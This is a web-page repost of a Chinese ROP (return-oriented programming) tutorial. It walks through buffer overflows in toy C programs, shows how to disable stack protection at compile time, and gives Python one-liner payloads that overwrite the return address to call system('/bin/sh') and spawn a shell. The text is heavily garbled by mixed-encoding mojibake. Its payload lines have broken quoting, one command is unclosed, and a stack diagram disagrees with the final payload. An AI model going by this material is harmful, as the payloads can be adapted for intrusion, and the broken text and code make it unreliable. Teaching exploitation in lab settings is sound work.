新聞中心
一、前言

創(chuàng)新互聯(lián)專注于企業(yè)網(wǎng)絡(luò)營(yíng)銷推廣、網(wǎng)站重做改版、保亭黎族網(wǎng)站定制設(shè)計(jì)、自適應(yīng)品牌網(wǎng)站建設(shè)、HTML5建站、購(gòu)物商城網(wǎng)站建設(shè)、集團(tuán)公司官網(wǎng)建設(shè)、外貿(mào)營(yíng)銷網(wǎng)站建設(shè)、高端網(wǎng)站制作、響應(yīng)式網(wǎng)頁(yè)設(shè)計(jì)等建站業(yè)務(wù),價(jià)格優(yōu)惠性價(jià)比高,為保亭黎族等各大城市提供網(wǎng)站開發(fā)制作服務(wù)。
不可否認(rèn)的是,不管是CTF賽事,還是二進(jìn)制漏洞利用的過(guò)程中,ROP都是一個(gè)很基礎(chǔ)很重要的攻擊技術(shù)。
這一段是譯者自己加的,與原文無(wú)關(guān)。
ROP的全稱為Return-oriented programming(返回導(dǎo)向編程),這是一種高級(jí)的內(nèi)存攻擊技術(shù)可以用來(lái)繞過(guò)現(xiàn)代操作系統(tǒng)的各種通用防御(比如內(nèi)存不可執(zhí)行和代碼簽名等)。
ROP是一種攻擊技術(shù),其中攻擊者使用堆棧的控制來(lái)在現(xiàn)有程序代碼中的子程序中的返回指令之前,立即間接地執(zhí)行精心挑選的指令或機(jī)器指令組。
因?yàn)樗袌?zhí)行的指令來(lái)自原始程序內(nèi)的可執(zhí)行存儲(chǔ)器區(qū)域,所以這避免了直接代碼注入的麻煩,并繞過(guò)了用來(lái)阻止來(lái)自用戶控制的存儲(chǔ)器的指令的執(zhí)行的大多數(shù)安全措施。
因此,ROP技術(shù)是可以用來(lái)繞過(guò)現(xiàn)有的程序內(nèi)部?jī)?nèi)存的保護(hù)機(jī)制的。在學(xué)習(xí)下面的內(nèi)容之前,先確保自己已經(jīng)了解了基本的堆棧溢出的漏洞原理。
二、一個(gè)簡(jiǎn)單的經(jīng)典緩沖區(qū)溢出例子
- #include
- #include
- void vuln(){
- char buffer[10];
- read(0,buffer,100);
- puts(buffer);
- }
- int main() {
- vuln();
- }
這個(gè)程序有明顯的緩沖區(qū)溢出攻擊。在vuln()函數(shù)中設(shè)置了10個(gè)字節(jié)的緩沖區(qū),而我們讀取的字節(jié)高達(dá)100個(gè)字節(jié)。read()的濫用導(dǎo)致了緩沖區(qū)溢出。
我們可以看看vuln函數(shù)調(diào)用時(shí)候,堆棧的情況:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c XX XX XX XX
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
當(dāng)緩沖區(qū)填充正確的大小時(shí),可以修改保存的返回地址,允許攻擊者控制EIP,從而允許他執(zhí)行任意任意代碼。
三、緩沖區(qū)溢出防御措施
但是,在現(xiàn)代的系統(tǒng)中,有一些防御措施可以避免被攻擊:
- ALSR
- Stack Canaries
- NX/DEP
防御措施大概有這些內(nèi)容,原文作者只是簡(jiǎn)單的介紹了一下,如果想更清晰了解,可以參考譯者博客。
1. NX/DEP
DEP表示數(shù)據(jù)執(zhí)行預(yù)防,此技術(shù)將內(nèi)存區(qū)域標(biāo)記為不可執(zhí)行。通常堆棧和堆被標(biāo)記為不可執(zhí)行,從而防止攻擊者執(zhí)行駐留在這些區(qū)域的內(nèi)存中的代碼。
2. ASLR
ASLR表示地址空間層隨機(jī)化。這種技術(shù)使共享庫(kù),堆棧和堆被占用的內(nèi)存的地址隨機(jī)化。這防止攻擊者預(yù)測(cè)在哪里采取EIP,因?yàn)楣粽卟恢浪膼阂庥行лd荷的地址。
3. Stack Canaries
下文簡(jiǎn)稱為:Canary
在這種技術(shù)中,編譯器在堆棧幀的局部變量之后和保存的返回地址之前放置一個(gè)隨機(jī)化保護(hù)值。在函數(shù)返回之前檢查此保護(hù),如果它不相同,然后程序退出。我們可以將它可視化為:
- ADDRESS DATA
- 0xbfff0000 XX XX XX XX <- buffer
- 0xbfff0004 XX XX XX XX
- 0xbfff0008 XX XX XX XX
- 0xbfff000c CC CC CC CC <- stack canary
- ........
- 0xbfff0020 YY YY YY YY <- saved EBP address
- 0xbfff0024 ZZ ZZ ZZ ZZ <- return address
如果攻擊者試圖修改返回地址,Canayr也將不可避免地被修改。因此,在函數(shù)返回之前,檢查這個(gè)Canayr,從而防止利用。
那么我們?nèi)绾卫@過(guò)這些防御措施呢?
四、Return Oritented Programming (ROP編程)
ROP是一個(gè)復(fù)雜的技術(shù),允許我們繞過(guò)DEP和ALSR,但不幸的是(或?qū)τ谟脩魜?lái)說(shuō)幸運(yùn)的是)這不能繞過(guò)Canary,但如果有額外的內(nèi)存泄漏,我們可以通過(guò)泄露,leak canary的值和使用它。
ROP re-uses ,即我們可以重用Bin文件或者Libc文件(共享庫(kù))中的代碼。這些代碼,或者說(shuō)指令,通常被我們稱作“ROP Gadget”。
下文,我們將來(lái)分析一下,一個(gè)特殊的ROP例子,我們稱作Return2PLT。應(yīng)該注意的是,只有l(wèi)ibc基地址被隨機(jī)化,特定函數(shù)從其基地址的偏移總是保持不變。如果我們可以繞過(guò)共享庫(kù)基地址隨機(jī)化,即使ASLR打開,也可以成功利用漏洞程序。
讓我們分析下,下面這個(gè)脆弱的代碼
- #include
- #include
- #include
- #include
- void grant() {
- system("/bin/sh");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
我們上文說(shuō)了,ROP技術(shù)并不能繞過(guò)Canay保護(hù)措施,所以我們編譯這個(gè)程序的時(shí)候需要關(guān)閉對(duì)戰(zhàn)保護(hù)程序。我們可以利用下面的命令編譯。
- $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32
五、譯者的程序分析
我先看看代碼,再翻譯作者的文章。我們看到,在exploitable()函數(shù)中,設(shè)置了16字節(jié)的緩沖區(qū),但是值得我們注意的是scanf函數(shù)沒有安全的使用,這導(dǎo)致我們可以寫入超過(guò)16字節(jié),這就導(dǎo)致了緩沖區(qū)溢出的可能。我們用注意到,有個(gè)函數(shù)調(diào)用了sytem("/bin/sh"),這里我們就可以假設(shè),如果我們可以操作函數(shù)調(diào)轉(zhuǎn),去調(diào)用grant()函數(shù),我們就可以拿到shell了。 基本上思路就是這樣的。
讀取程序的內(nèi)存映射,我們可以看到它的棧是只讀/ 不可執(zhí)行的。
六、讓我們嘗試控制EIP
由于scanf不執(zhí)行綁定的check,因此我們可以通過(guò)覆蓋函數(shù)的返回地址來(lái)指向某個(gè)已知位置來(lái)控制EIP。我會(huì)嘗試指向它grant()達(dá)到getshell的目的。我們可以通過(guò)objdum工具,來(lái)獲取grant()的地址。
除了利用objdump來(lái)看,當(dāng)然我們還是可以用IDA查找的。
objdump命令如下
- $ objdump -d ./hack_me_2 | grep grant
結(jié)果應(yīng)該看起來(lái)是這樣的
- 080484cb
: - 8048516:e8 b0 ff ff ff call 80484cb
接下來(lái)就是寫exp,達(dá)到目的了。
- $(python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat - )| ./hack_me_2
七、這里譯者補(bǔ)充幾點(diǎn)
第一: 為什么是28個(gè)字節(jié)?這個(gè)是需要我們自己去分析的,我們需要計(jì)算兩者直接字節(jié)數(shù)的值,才好控制跳轉(zhuǎn),畢竟本文是基于我們了解緩沖區(qū)溢出知識(shí)后的,如果有疑問,可以留言,或者自尋百度。
第二: 從代碼來(lái)看,我們可以知道原文作者的環(huán)境是基于32位的,所以這里需要了解一下小端的知識(shí)。
運(yùn)行上述代碼之后,我們就可以成功getshell了。
很明顯,大多數(shù)程序不會(huì)為你調(diào)用shell這個(gè)很容易,我們需要修改程序讓demo更貼近現(xiàn)實(shí)一點(diǎn)。
- #include
- #include
- #include
- #include
- char *shell = "/bin/sh";
- void grant() {
- system("cowsay try again");
- }
- void exploitable() {
- char buffer[16];
- scanf("%s", buffer);
- if(strcmp(buffer,"pwned") == 0) grant();
- else puts("Nice try\n");
- }
- int main(){
- exploitable();
- return 0;
- }
運(yùn)行先前的exp,我們發(fā)現(xiàn)并沒有g(shù)etshell,那么我們?cè)趺慈フ{(diào)用sysytem(“/bin/sh”)呢?
分析,這次的程序并沒有直接調(diào)用 system("/bin/sh")了,但是漏洞產(chǎn)生的原理和之前的一樣。就不再?gòu)?fù)述了。
八、調(diào)用函數(shù)約定
當(dāng)反匯編我們的代碼看起來(lái)像這樣的:
- 080484cb
: - 80484cb:55 push%ebp
- 80484cc:89 e5 mov%esp,%ebp
- 80484ce:83 ec 08 sub $ 0x8,%esp
- 80484d1:83 ec 0c sub $ 0xc,%esp
- 80484d4:68 e8 85 04 08 push $ 0x80485e8
- 80484d9:e8 b2 fe ff ff call 8048390 < system @ plt>
- 80484de:83 c4 10 add $ 0x10,%esp
- 80484e1:90 nop
- 80484e2:c9 leave
- 80484e3:c3 ret
- 080484e4
: - 8048516:e8 b0 ff ff ff call 80484cb
- 804851b:eb 10 jmp 804852d
讓我們簡(jiǎn)單看看每個(gè)指令的作用。
在可利用的情況下,我們調(diào)用grant()使用指令去做兩件事情,推送下一個(gè)地址0x0804851b到堆棧,并更改EIP為0x080484cb 到grant()所在的地址
- push %ebp
- mov %esp,%ebp
這是函數(shù)的初始化。它為當(dāng)前函數(shù)設(shè)置堆??蚣?。它通過(guò)push之前保存的一堆棧幀的基指針,然后將當(dāng)前基指針更改為堆棧指針($ ebp = $ esp)?,F(xiàn)在grant()可以使用它的棧來(lái)存儲(chǔ)變量和whatnot。
之后,它通過(guò)從esp中減去來(lái)為局部變量分配空間(因?yàn)槎褩T鲩L(zhǎng)),最后0x080485e8在調(diào)用之前將地址壓入堆棧,system()它是指向?qū)⒆鳛閰?shù)傳遞的字符串的指針system(),它有點(diǎn)像
- system(*0x80485e8)
最后ret,將保存的 函數(shù)返回地址從堆棧的頂部pop出值到EIP。
九、構(gòu)建我們自己的堆棧幀
我們已經(jīng)看到了當(dāng)函數(shù)被調(diào)用時(shí)堆棧的行為,這意味著
- 我們可以構(gòu)造我們自己的堆棧幀
- 控制參數(shù)到我們跳轉(zhuǎn)到的函數(shù)
- 確定此函數(shù)返回的位置
- 如果我們控制這兩者之間的堆棧,我們可以控制返回函數(shù)的參數(shù)
- 通過(guò)ROP鏈接在多個(gè)函數(shù)中跳轉(zhuǎn)
從objdump我們看到“/ bin / sh”的地址是 0x080485E0
- $ objdump -s -j .rodata hack_me_3
- hack_me_3: file format elf32-i386
- Contents of section .rodata:
- 80485d8 03000000 01000200 2f62696e 2f736800 ......../bin/sh.
- 80485e8 636f7773 61792074 72792061 6761696e cowsay try again
- 80485f8 00257300 70776e65 64004e69 63652074 .%s.pwned.Nice t
- 8048608 72790a00
我們構(gòu)造一個(gè)“假”的堆棧結(jié)構(gòu),然后修改函數(shù)的返回地址,這樣的堆棧結(jié)構(gòu)如下:
- ADDRESS DATA
- ........
- // exploitable() stack
- 0xbfff0004 80 48 4d 90 <- return address
- // our frame
- 0xbfff0008 41 41 41 41 <- saved return pointer, system()
- 0xbfff000c 08 04 85 E0 <- "/bin/sh"
所以以,當(dāng)函數(shù)exploitable()返回時(shí),它返回system(),將看到它返回地址為41414141和參數(shù)為“/bin/sh”,這將產(chǎn)生一個(gè)shell,但是當(dāng)它返回時(shí)會(huì)彈出41414141到EIP,它是一個(gè)有效的地址,我們可以ROP連接他們,只要他們不需要參數(shù)。所以,我們最后的利用代碼是:
- $(python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3
注:本文僅用于交流學(xué)習(xí)與安全研究,請(qǐng)勿對(duì)文中提及的內(nèi)容進(jìn)行惡意使用!本平臺(tái)及作者對(duì)讀者的之后的行為不承擔(dān)任何法律責(zé)任。
網(wǎng)頁(yè)名稱:ROP內(nèi)存攻擊技術(shù)入門教程
瀏覽地址:http://www.dlmjj.cn/article/dhppsei.html


咨詢
建站咨詢
